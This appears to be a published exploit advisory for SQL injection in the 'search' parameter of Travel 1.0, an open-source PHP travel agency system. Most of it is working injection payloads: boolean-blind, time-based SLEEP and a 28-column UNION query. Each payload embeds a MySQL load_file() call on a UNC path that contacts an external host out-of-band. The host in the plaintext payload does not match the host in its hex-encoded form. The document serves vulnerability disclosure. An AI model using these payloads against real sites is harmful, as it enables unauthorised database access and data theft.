Travel 1.0 SQL Injection

`## Title: travel-1.0-by-oretnom23 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 11/12/2023  
## Vendor: https://github.com/oretnom23  
## Software: https://github.com/oretnom23/php-travel-agency-system  
## Reference: https://portswigger.net/web-security/sql-injection  
  
  
## Description:  
The search parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+'  
was submitted in the search parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed.  
  
  
STATUS: HIGH-CRITICAL Vulnerability  
  
[+]Payload:  
```MySQL  
---  
Parameter: search (POST)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY  
or GROUP BY clause  
Payload: search=951531'+(select  
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''  
RLIKE (SELECT (CASE WHEN (2997=2997) THEN 0x393531353331+(select  
load_file(0x5c5c5c5c666e366b70706278306f323664696173673374627373313938306574326b363878626c33387477692e6f6173746966792e636f6d5c5c79686a))+''  
ELSE 0x28 END)) AND 'RIBa'='RIBa&searc=&sumbit=Submit  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)  
Payload: search=951531'+(select  
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''  
OR (SELECT 5424 FROM (SELECT(SLEEP(15)))vzOn) AND  
'fGlq'='fGlq&searc=&sumbit=Submit  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 28 columns  
Payload: search=951531'+(select  
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''  
UNION ALL SELECT  
NULL,NULL,NULL,NULL,CONCAT(0x716a767071,0x6c425375664275724e58584e686366544b776557504941584e71765144757876744972504e4f554d,0x7162767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&searc=&sumbit=Submit  
---  
```  
  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2021/travel-1.0-by-oretnom23)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/11/travel-10-by-oretnom23-multiple-sqli.html)  
  
## Time spent:  
00:17:00  
  
`